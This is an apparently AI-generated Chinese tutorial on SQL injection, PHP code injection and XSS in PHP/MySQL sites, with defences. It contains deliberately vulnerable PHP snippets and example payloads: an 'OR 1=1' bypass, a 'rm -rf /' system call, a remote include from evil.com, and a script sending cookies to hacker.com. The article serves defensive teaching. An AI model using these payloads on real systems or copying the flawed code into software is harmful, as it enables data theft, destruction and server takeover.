computer programming codes displayed on a monitor

image unsplash

AI文章 - 網頁設計

 HTML、PHP、SQL、MySQL 與 phpMyAdmin 注入攻擊(Injections)

HTML、PHP、SQL、MySQL 與 phpMyAdmin 注入攻擊(Injections)

主題

  1. 注入攻擊的基本概念
    • 解釋什麼是注入攻擊,以及它如何影響 Web 應用程式
  2. 常見注入類型
    • SQL 注入(SQL Injection)
    • PHP 程式碼注入(PHP Code Injection)
    • HTML/JavaScript 注入(XSS,跨站腳本攻擊)
  3. 攻擊手法與範例
    • 如何利用漏洞進行注入攻擊
  4. 防禦措施
    • 如何防止注入攻擊

關鍵概念

  1. 注入攻擊簡介
  • 定義:攻擊者通過輸入惡意數據,欺騙應用程式執行非預期的指令。
  • 目標:竊取數據、破壞系統、提升權限等。
  • 常見漏洞來源
    • 未過濾的使用者輸入
    • 動態 SQL 查詢
    • 不安全的 API 或資料庫連接
  1. 常見注入類型
攻擊類型 攻擊方式 影響
SQL 注入 通過輸入惡意 SQL 片段,操控資料庫查詢(如 ‘ OR ‘1’=’1) 數據洩露、刪除資料庫
PHP 程式碼注入 上傳或輸入惡意 PHP 代碼,使伺服器執行(如 <?php system(“rm -rf /”); ?>) 伺服器被控制、系統崩潰
XSS(跨站腳本) 注入惡意 HTML/JavaScript 代碼(如 <script>alert(‘Hacked!’);</script>) 竊取 Cookie、釣魚攻擊
  1. 攻擊手法與範例

SQL 注入(MySQL + PHP 範例)

  • 漏洞程式碼

php

复制

$user = $_GET[‘username’];

$query = “SELECT * FROM users WHERE username = ‘$user'”;

$result = mysqli_query($conn, $query);

  • 攻擊輸入

复制

‘ OR ‘1’=’1

  • 最終執行的 SQL

sql

复制

SELECT * FROM users WHERE username = ” OR ‘1’=’1′;

→ 返回所有用戶資料!

PHP 程式碼注入

  • 漏洞程式碼(動態包含檔案):

php

复制

$page = $_GET[‘page’];

include($page . “.php”);

  • 攻擊輸入

复制

http://example.com/?page=http://evil.com/shell

→ 載入遠端惡意腳本!

XSS(HTML/JavaScript 注入)

  • 漏洞程式碼(未過濾輸出):

php

复制

echo “<div>” . $_GET[‘comment’] . “</div>”;

  • 攻擊輸入

复制

<script>fetch(‘https://hacker.com/steal?cookie=’+document.cookie);</script>

→ 竊取用戶 Cookie!

  1. 防禦措施
攻擊類型 防禦方法
SQL 注入 使用參數化查詢(Prepared Statements)、過濾輸入(mysqli_real_escape_string)
PHP 程式碼注入 禁用 eval()、限制檔案包含(include/require)僅允許本地檔案
XSS 輸出時轉義特殊字符(htmlspecialchars)、使用 CSP(內容安全政策)

phpMyAdmin 安全注意事項

  • 避免使用預設密碼(如 root 空密碼)
  • 限制訪問 IP(僅允許管理員 IP)
  • 定期更新至最新版本

總結

這篇文章深入探討了 Web 開發中常見的注入攻擊:

  1. 攻擊全面解析:涵蓋 SQL、PHP、XSS 三種主要注入手法。
  2. 實際範例導向:提供可重現的漏洞程式碼與攻擊方式。
  3. 防禦實戰建議:針對每種攻擊提供具體防護措施。
  4. 適用場景
    • 開發者檢查自身程式碼安全性
    • 滲透測試學習基礎攻擊手法

進階延伸

  • 使用 OWASP ZAP 或 Burp Suite 檢測注入漏洞
  • 學習 ORM(如 Eloquent)避免手寫 SQL
  • 實作 Web Application Firewall(WAF)阻擋惡意請求

適合 Web 開發者、資安初學者建立基本安全意識,避免犯下致命錯誤! 🚨